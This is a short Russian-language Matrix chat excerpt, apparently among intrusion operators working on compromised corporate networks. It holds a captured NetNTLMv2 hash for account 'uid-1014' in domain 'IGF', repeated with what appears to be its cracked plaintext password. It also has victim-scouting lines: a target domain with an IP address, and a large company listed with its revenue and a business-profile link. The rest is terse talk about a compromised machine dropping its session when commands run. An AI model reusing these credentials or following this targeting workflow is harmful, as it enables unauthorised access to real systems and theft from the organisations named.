`uid-1014::IGF:1122334455667788:852f120ef636e7f34b7c178449c15ed7:01010000000000007a0381de6cf1d9010f748996c05e60ed000000000800300030000000000000000000000000200000bfc4d7ea356185dc79abbe84a467a8c14340c91f4d1fcf973743f20d3ec501db0a00100000000000000000000000000000000000090018004900470046005c007500690064002d0031003000310034000000000000000000`

DOMAIN netlink.com USA 420kk - 110.224.173.102

в домене показывает у меня

она сдохла сразу же

написал

> <@usernamegg:matrix.bestflowers247.online> 8.8B / siriusxm.com / USA / https://www.zoominfo.com/c/sirius-xm-radio-inc/109412634

я скрины скидывал, и она вне домена был

вщял

она вне домена

она дохнет от команд

UID-1014::IGF:1122334455667788:852f120ef636e7f34b7c178449c15ed7:01010000000000007a0381de6cf1d9010f748996c05e60ed000000000800300030000000000000000000000000200000bfc4d7ea356185dc79abbe84a467a8c14340c91f4d1fcf973743f20d3ec501db0a00100000000000000000000000000000000000090018004900470046005c007500690064002d0031003000310034000000000000000000:qs98lz15

так ты туда сюда скидываешь

> <@usernameboy:matrix.bestflowers247.online> UID-1014::IGF:1122334455667788:852f120ef636e7f34b7c178449c15ed7:01010000000000007a0381de6cf1d9010f748996c05e60ed000000000800300030000000000000000000000000200000bfc4d7ea356185dc79abbe84a467a8c14340c91f4d1fcf973743f20d3ec501db0a00100000000000000000000000000000000000090018004900470046005c007500690064002d0031003000310034000000000000000000:qs98lz15

СС спрашивает по поводу ВПН

сегодня сюда отправляем

sosi.com

)))))))))))